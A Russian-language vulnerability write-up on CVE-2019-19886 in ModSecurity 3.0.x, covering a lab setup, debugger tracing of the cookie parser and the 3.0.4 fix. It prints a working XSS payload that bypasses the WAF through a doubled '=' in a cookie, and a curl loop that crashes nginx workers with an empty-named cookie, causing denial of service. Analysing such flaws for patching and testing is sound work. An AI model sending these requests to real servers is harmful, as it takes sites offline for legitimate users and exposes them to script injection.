В ModSecurity — известном WAF для Apache, IIS и nginx — нашли критическую уязвимость, которая приводит к отказу в обслуживании. Причем завершает работу не только сама библиотека, но и приложения, которые ее вызывают. Давай разберемся, в чем ошиблись разработчики ModSecurity и как эксплуатировать эту лазейку при пентестах.
У ModSecurity есть свой скриптовый язык, основанный на событиях. Он обеспечивает защиту от множества видов атак на веб-приложения и позволяет мониторить HTTP-трафик, вести логи и анализировать запросы в реальном времени. Это делает ModSecurity очень гибким инструментом для обнаружения потенциально небезопасных данных и реакции на них.
Уязвимость в ModSecurity WAF
Уязвимость обнаружили Эрвин Хегедюш (Ervin Hegedüs) и Андреа Менин (Andrea Menin), разработчики OWASP Core Rule Set, когда изучали работу парсера запросов, в частности обработку хидера cookie.
Брешь позволяет злоумышленнику отправить специально сформированный запрос, который будет завершать работу родительского процесса. Отправка большого количества таких запросов может привести к тому, что веб-сервер станет отвечать гораздо медленнее или вообще перестанет реагировать на запросы пользователей (отказ в обслуживании).
Уязвимость получила идентификатор CVE-2019-19886 и затрагивает все версии Trustwave ModSecurity ветки 3.х, начиная с 3.0.0 и заканчивая 3.0.3 включительно.
Стенд
Сначала нужно поднять тестовое окружение. Здесь есть два варианта.
Если не хочешь возиться с отладкой и копанием в сорцах, то можешь просто запустить докер-контейнер с уязвимой версией ModSecurity и потестить эксплоит.
|
1 |
docker run --rm -p 80:80 -ti --rm owasp/modsecurity:3.0.3-nginx |
Второй вариант — скомпилить все из сорцов с возможностью дебага.
Начнем с запуска контейнера с Debian на борту и установки всех необходимых пакетов.
|
1 2 |
docker run --rm -ti --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name=nginxdos --hostname=nginxdos -p80:80 debian /bin/bash apt update && apt install nano wget git procps gdb automake bison build-essential g++ gcc libbison-dev libcurl4-openssl-dev libfl-dev libgeoip-dev liblmdb-dev libpcre3-dev libtool libxml2-dev libyajl-dev make pkg-config zlib1g-dev |
Теперь скачиваем библиотеку ModSecurity последней уязвимой версии 3.0.3.
|
1 2 |
cd /root git clone --depth 1 -b v3.0.3 --single-branch https://github.com/SpiderLabs/ModSecurity |
Далее подгрузим все необходимые модули.
|
1 2 3 |
cd ModSecurity/ git submodule init git submodule update |
А потом скомпилируем ее и установим.
|
1 |
./build.sh && ./configure && make && make install |
Установка уязвимой версии библиотеки ModSecurity
Пришел черед коннектора для nginx.
|
1 |
cd /root && git clone --depth 1 https://github.com/SpiderLabs/ModSecurity-nginx.git |
Ну и сам веб-сервер, разумеется.
|
1 2 3 |
wget -q https://nginx.org/download/nginx-1.16.1.tar.gz tar -zxf nginx-1.16.1.tar.gz cd nginx-1.16.1 |
Теперь сконфигурируем его для использования библиотеки ModSecurity.
|
1 |
./configure --add-module=/root/ModSecurity-nginx |
Дальше дело за компиляцией и установкой.
|
1 |
make && make install |
Компиляция и установка nginx с поддержкой ModSecurity
Для более наглядных тестов я также установлю и запущу PHP-FPM.
|
1 2 |
apt install -y php-fpm service php7.3-fpm start |
По дефолту nginx ставится в директорию /usr/local/nginx/. Перейдем туда, чтобы немного подправить конфиги под наши реалии. Сначала включим поддержку PHP. У меня PHP-FPM работает через сокет, поэтому пропишем путь до него в раздел server файла nginx.conf.
|
1 2 3 4 5 6 7 |
location ~ \.php$ { root html; fastcgi_pass unix:/run/php/php7.3-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } |
Теперь переходим к настройке ModSecurity. Добавим необходимую директиву во все тот же nginx.conf, только на этот раз в раздел http.
|
1 |
modsecurity on; |
Так как у нас будет несколько конфигурационных файлов, сделаем один общий modsec_includes.conf, в который будем добавлять список необходимых конфигов. Подгрузим его при помощи modsecurity_rules_file.
|
1 |
modsecurity_rules_file /usr/local/nginx/conf/modsec_includes.conf; |
Далее нужно скопировать дефолтный конфиг ( modsecurity.conf-recommended) из дистрибутива ModSecurity.
|
1 2 |
cp /root/ModSecurity/modsecurity.conf-recommended /usr/local/nginx/conf/modsecurity.conf cp /root/ModSecurity/unicode.mapping /usr/local/nginx/conf/ |
Переключим библиотеку из пассивного режима в режим блокировки.
|
1 |
sed 's/SecRuleEngine DetectionOnly/SecRuleEngine On/' -i modsecurity.conf |
Пришел черед фильтров. Я рекомендую использовать набор правил OWASP Core Rule Set. Для наших тестов достаточно будет только нескольких файлов. В первую очередь загрузим основной конфиг.
|
1 2 |
mkdir /usr/local/nginx/conf/modsec && cd $_ wget https://raw.githubusercontent.com/SpiderLabs/owasp-modsecurity-crs/v3.3/dev/crs-setup.conf.example -O crs-setup.conf |
Затем мой выбор пал на файл с правилами для предотвращения XSS-уязвимостей.
|
1 2 |
mkdir /usr/local/nginx/conf/modsec/rules && cd $_ wget https://raw.githubusercontent.com/SpiderLabs/owasp-modsecurity-crs/v3.3/dev/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf |
И наконец, два вспомогательных конфига — для инициализации правил и блокировки запроса на основе системы скоринга.
|
1 2 |
wget https://raw.githubusercontent.com/SpiderLabs/owasp-modsecurity-crs/v3.3/dev/rules/REQUEST-901-INITIALIZATION.conf wget https://raw.githubusercontent.com/SpiderLabs/owasp-modsecurity-crs/v3.3/dev/rules/REQUEST-949-BLOCKING-EVALUATION.conf |
Теперь нужно использовать все эти правила в нашей конфигурации nginx. Для этого я и создавал файл /usr/local/nginx/conf/modsec_includes.conf.
|
1 2 3 4 5 |
include modsecurity.conf include modsec/crs-setup.conf include modsec/rules/REQUEST-901-INITIALIZATION.conf include modsec/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf include modsec/rules/REQUEST-949-BLOCKING-EVALUATION.conf |
Обрати внимание на последовательность загрузки, она важна.
РЕКОМЕНДУЕМ:
Настройка безопасности MikroTik
На этом этап подготовки стенда закончен, осталось его проверить. Запустим веб-сервер.
|
1 |
/usr/local/nginx/sbin/nginx -g "daemon off;master_process off;error_log /dev/stdout debug;" |
Я добавил несколько параметров, чтобы отключить запуск nginx как демона и вывести логи в консоль. Если теперь отправить потенциально опасный запрос на сервер — http://nginxdos.vh/?xss=<script>alert()</script>, то ModSecurity заблокирует запрос и вернет 403.
Готовый стенд. ModSecurity заблокировала потенциально опасный запрос к серверу
Вот и готовый стенд. Переходим к препарированию уязвимости.
Детали
Начнем с того, что посмотрим на патч, который исправляет уязвимость. Изменения коснулись файла transaction.cc в разделе парсинга куков. Запустим веб-сервер через отладчик и поставим бряк на строку 558, чтобы потрейсить процесс обработки.
|
1 2 3 |
gdb --arg /usr/local/nginx/sbin/nginx -g "daemon off;master_process off;error_log /dev/stdout debug;" b transaction.cc:558 r |
Отладка сервера nginx с библиотекой ModSecurity. Ставим брейк-пойнт на парсере заголовка cookie
Отправляем запрос с куками и попадаем в точку останова.
|
1 |
curl -v -H "Cookie: hello=world" nginxdos.vh |
Сработал брейк-пойнт в процессе парсинга куков
Как ты, скорее всего, знаешь, в протоколе HTTP строка cookie представляет собой последовательность пар имя=значение, разделенных символом ;. Поэтому изначально вся строка разбивается на части, где разделителем служит ;. Результат записывается в вектор ( std::vector).
modsec/v3.0.3/src/transaction.cc
|
1 2 3 |
557: if (keyl == "cookie") { 558: size_t localOffset = m_variableOffset; 559: std::vector<std::string> cookies = utils::string::ssplit(value, ';'); |
Вектор в C++ — это замена стандартному динамическому массиву, который может управлять выделенной для него памятью. С его помощью можно создавать массивы, длина которых задается во время выполнения, без использования операторов new и delete. Все элементы вектора должны принадлежать одному типу. В дополнение к функциям прямого доступа элементы вектора можно получить посредством итераторов. Что и происходит дальше по коду.
modsec/v3.0.3/src/transaction.cc
|
1 |
560: for (const std::string &c : cookies) { |
Перебираем все переданные в запросе куки
Так как я передал одну куку, то и элемент всего один.
Теперь он разбивается по разделителю
=. Таким образом получаем имя и значение cookie.
|
1 2 |
561: std::vector<std::string> s = utils::string::split(c, 562: '='); |
Дальше проверяется размер полученного вектора, и, если он больше единицы, выполнение продолжается.
modsec/v3.0.3/src/transaction.cc
|
1 |
563: if (s.size() > 1) { |
Разбиваем содержимое cookie на пару имя-значение
Пока все идет хорошо. Если обратиться к разделу 5.2 спецификации RFC 6265 о механизмах хранения состояния в HTTP, то там под пунктом 2 увидим, что если в паре имя-значение отсутствует символ = (%x3D), то его нужно игнорировать.
Спецификация RFC 6265. Раздел 5.2
Именно так и происходит. А также частично выполняется и пункт 4 — удалять все пробелы перед именем и после него и значения куки. В нашем случае только один пробел перед именем.
modsec/v3.0.3/src/transaction.cc
|
1 2 3 |
564: if (s[0].at(0) == ' ') { 565: s[0].erase(0, 1); 566: } |
А вот с третьим пунктом возникли проблемы.
Спецификация RFC 6265. О том, как парсить пару имя-значение
Часть строки до первого появления символа = — это имя куки, а все, что после, — ее значение. То есть из хидера вида hello=cruel=world должна получиться кука hello, значение которой cruel=world. Однако в случае с ModSecurity 3.0.3 получим hello со значением cruel. Виной всему следующий участок кода.
modsec/v3.0.3/src/transaction.c
|
1 2 3 4 5 |
567: m_variableRequestCookiesNames.set(s[0], 568: s[0], localOffset); 569: 570: localOffset = localOffset + s[0].size() + 1; 571: m_variableRequestCookies.set(s[0], s[1], localOffset); |
В качестве значения передается только второй элемент массива, а в данном случае у нас получается их три: hello, cruel и world
Некорректный парсинг куки в ModSecurity 3.0.3 больше чем с одним символом =
Чем это может грозить? Если у тебя есть какие-то правила, которые фильтруют разные виды атак в куках, например XSS или SQL-инъекции, то, используя трюк с двойным символом =, можно обходить эти фильтры.
Добавляем XSS в cookie
Для демонстрации я создам простенький, уязвимый к XSS скрипт.
index.php
|
1 2 3 4 5 |
<html> <body> <?php echo "Hello, ".($_COOKIE['user'] ? $_COOKIE['user'] : '%username%'); ?> </body> </html> |
Если я напрямую передаю в куке XSS, то защита срабатывает, если использую второй символ =, то XSS триггерится.
|
1 |
curl -H "Cookie: user=safe=<script>alert('xss')</script>" nginxdos.vh/index.php |
Обход защиты от XSS в ModSecurity
Разумеется, нельзя отфильтровать то, что не удалось правильно прочитать.
Обход фильтров WAF — это, конечно, интересно, но давай посмотрим, что еще можно сделать.
Вернемся к пункту 5 спецификации RFC 6265.
Спецификация RFC 6265. Игнорируем cookie с пустым именем
То есть если имя куки пустое, то она должна игнорироваться. В ModSecurity 3.0.3 такой логики не предусмотрено. В связи с этим предлагаю еще раз внимательно посмотреть на следующий участок кода.
modsec/v3.0.3/src/transaction.cc
|
1 2 3 |
564: if (s[0].at(0) == ' ') { 565: s[0].erase(0, 1); 566: } |
Здесь проверяется, какой символ стоит на нулевой позиции в имени куки. А что произойдет, если передать cookie с пустым названием?
|
1 |
curl -H "Cookie: =notsafe" nginxdos.vh/index.php |
Программа попытается считать значение из пустого диапазона, что вызовет исключение вида out_of_range.
Ошибка при обработке пустого имени cookie приводит к завершению работы ModSecurity
Теперь программа завершит свою работу, а вместе с ней остановится и воркер nginx. Таким образом, постоянно отправляя запросы с вредоносной кукой, можно вызвать отказ в обслуживании веб-сервера, и он перестанет обрабатывать запросы легитимных пользователей. Для этого можно воспользоваться простейшим PoC.
|
1 |
curl -s -H "Cookie: =notsafe" "nginxdos.vh/index.php?[0-99999]" |
Отказ в обслуживании веб-сервера nginx из-за уязвимости в библиотеке ModSecurity
Заключение
Рассмотренная уязвимость хорошо иллюстрирует, насколько опасно отходить от спецификаций. Даже, казалось бы, мелкое упущение может в результате повлиять на стабильную работу всего приложения и на безопасность конечных пользователей.
После того как разработчики были уведомлены об уязвимости, исследователь Эрвин Хегедюш тоже отправил два pull-реквеста с изменениями, которые позволяют исправить уязвимость (2023, 2201). В результате разработчики пересмотрели всю логику парсинга cookie и приблизили ее к спецификации RFC 6265.
РЕКОМЕНДУЕМ:
Сетевые атаки и защита от них
И конечно, если ты используешь ModSecurity версий от 3.0.0 до 3.0.3, то поспеши обновиться до версии 3.0.4, где эта уязвимость исправлена.
